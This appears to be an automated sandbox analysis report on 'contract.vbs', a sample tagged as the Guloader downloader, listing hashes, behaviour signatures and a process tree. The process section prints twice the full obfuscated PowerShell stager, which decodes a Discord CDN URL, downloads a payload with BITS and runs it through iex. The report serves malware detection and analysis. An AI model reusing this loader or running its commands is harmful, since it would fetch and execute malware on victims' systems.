Analysis
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max time kernel
142s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20230703-en -
resource tags
arch:x64arch:x86image:win10v2004-20230703-enlocale:en-usos:windows10-2004-x64system -
submitted
07/08/2023, 10:05
Static task
static1
Behavioral task
behavioral1
Sample
contract.vbs
Resource
win7-20230712-en
Behavioral task
behavioral2
Sample
contract.vbs
Resource
win10v2004-20230703-en
General
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Target
contract.vbs
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Size
16KB
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MD5
bc802313367fa8e3e95a8febaac30eef
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SHA1
fae8073b8bb36c8112c980f77af462589791457a
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SHA256
d1e6ce0bb1b6370887610365325b052b2be95fb20f160f7bed6d28f16f93e7d8
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SHA512
c385a20ebac46bbbe2f3c95bdaf77a5f5fda682c1ab2ca56b8de7a444df7a94229a2295acbee2d71d5363d3677ed005a9c4a66b58377d2b267e487dc5564449f
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SSDEEP
384:cMerh4avZ9DMwRXR59o8FvsWIa/+BSH4//eeXoOj:cvrh4gD37Bds0XHreZj
Malware Config
Signatures
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Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
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Blocklisted process makes network request 1 IoCs
flow pid Process 4 4548 WScript.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 1708 1228 WerFault.exe 93 -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 1152 powershell.exe 1152 powershell.exe 1228 powershell.exe 1228 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 1152 powershell.exe Token: SeDebugPrivilege 1228 powershell.exe -
Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 4548 wrote to memory of 1152 4548 WScript.exe 91 PID 4548 wrote to memory of 1152 4548 WScript.exe 91 PID 1152 wrote to memory of 1228 1152 powershell.exe 93 PID 1152 wrote to memory of 1228 1152 powershell.exe 93 PID 1152 wrote to memory of 1228 1152 powershell.exe 93
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\contract.vbs"1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4548 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1152 -
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "Function Meth239 ([String]$Elecntensiv){For($Elec=1; $Elec -lt $Elecntensiv.Length-1; $Elec+=(1+1)){$Strewing55=$Elecntensiv.Substring($Elec, 1);$Cylleniusg=$Cylleniusg+$Strewing55}$Cylleniusg;}$Mongo=Meth239 'hhLtdtSpFsE:B/ /OcSdFnK.RdPiAsNcGoBrad aAp p .FcDoRmA/CaBt tgaTcJhWm eNn tDs /P1R0O7S5P6 4Q1M3 1K9C5G2 4U9P2S5P4A4R2B/F1C1Z3I7 8 4R0N7H9G5M1P9b4J4 9i9S1T0I2S/NFToDd bMrIeOmPsK.SxItKpO ';$Cylleniusg01=Meth239 ' i eCxS ';$Straf175 = Meth239 'S\TsWyFsEw oTwE6a4R\DWBiSn dHo wBsCPUoLwLeFrTSMhTeIlOlL\RvI1 . 0R\SpDoSw eFrHsFhMeSl lL.Ce xEeF ';&($Cylleniusg01) (Meth239 'T$PMFeKlOoVdTrGaCmS2A=b$EeBn vD:CwCiZnEdCiPr ') ;&($Cylleniusg01) (Meth239 ' $MSDtTrSaIfU1V7M5A=T$CM eDlCoAdIrMaSmr2K+V$eS tbr aEfI1E7w5S ') ;&($Cylleniusg01) (Meth239 ' $IPUaOnNsTySaTePr oMp =F A(B(DgHwBmRiJ SwKiKn 3g2P_CpKrOo cTeUsAsM L- FS CPmrAoVcSeAsSsDISdU=V$C{BP IEDC} ) .CCKoEmEmSaNnSdDLbiMnAeS)F d- sUpplEi tI B[BcYh aMrU]U3V4D ');&($Cylleniusg01) (Meth239 'R$HJ o dUiBeUpIrBeAsTtH K=J V$SP aTn sSyAa e rhoApB[O$ PSaKnTsSyMaIeArHoBp .UcBoDusnBti-H2D]U ');&($Cylleniusg01) (Meth239 ' $hDdeFlBa gC1B9 7B=P(HTCe s tM-PPRaAt hT B$OSPt r aKfF1 7R5 )s A-SA nMdc B(a[LICn tUPwtAr ] :S:VsLiezEe -Te qM E8I)G ') ;if ($Delag197) {.$Straf175 $Jodieprest;} else {;$Cylleniusg00=Meth239 ' SAtBaJr tp-GBKiAtSsWT rLaMnMsUfPeSrN -LSLoFu r c eT S$PMFoSn g oI n- DReCs t iAnPaAtIi oFnP L$ MEePlMoBd r aUmU2H ';&($Cylleniusg01) (Meth239 ' $EMhePlAo dSrMaOm 2V=M$SeBnRv :AaAp pDdOa tHaL ') ;&($Cylleniusg01) (Meth239 'uI mGpPo rNtN-RMAo d u lKeA IBFiStDsATRr aDnHsPfaeSrB ') ;$Melodram2=$Melodram2+'\Fablesknsk.fin';while (-not $Trans) {&($Cylleniusg01) (Meth239 'H$ TSrKaInRsF=R(STPeMs tH-EPPaPt hF H$ MAeVlOoAd rIaMmA2s)M ') ;&($Cylleniusg01) $Cylleniusg00;&($Cylleniusg01) (Meth239 'PSStWa rPtT- SHlIeMeDpR 5b ');}&($Cylleniusg01) (Meth239 'B$ MTe t hB2 3 =Y pGVeFtS-SCFo n t eBnTtB L$rMCe l oFdRrGaPmD2S ');&($Cylleniusg01) (Meth239 'G$RS uSr vBeSiSlfiPn gN K=B C[MS y sKt eSmF.KCFoPnDvBeRrOt ]P:G:SFUrUo mtBKaks e 6 4US tWrAiGnMgU(D$MM eBtMh 2A3G)M ');&($Cylleniusg01) (Meth239 'U$SCeySl l e nDiLu s gs2 A=S V[ STytsUtFeJmE.BTfeGxHtP.CEBn c oGd iDnFgU]T:M:KAKS CEIKIU.BGBe toSSt rCiKnOg (L$BSOuSrHvEeTisl iSnNgS)U ');&($Cylleniusg01) (Meth239 'P$OFcaSk tVoB=B$LCSyBlSlSeRnCiBuSssgP2 .TsLu bHs tDrIiSnLgR( 2F7M7F6U3N3F,B1F9H7F8 6S)M ');&($Cylleniusg01) $Fakto;}"3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1228 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1228 -s 26004⤵
- Program crash
PID:1708
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 360 -p 1228 -ip 12281⤵PID:3640
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82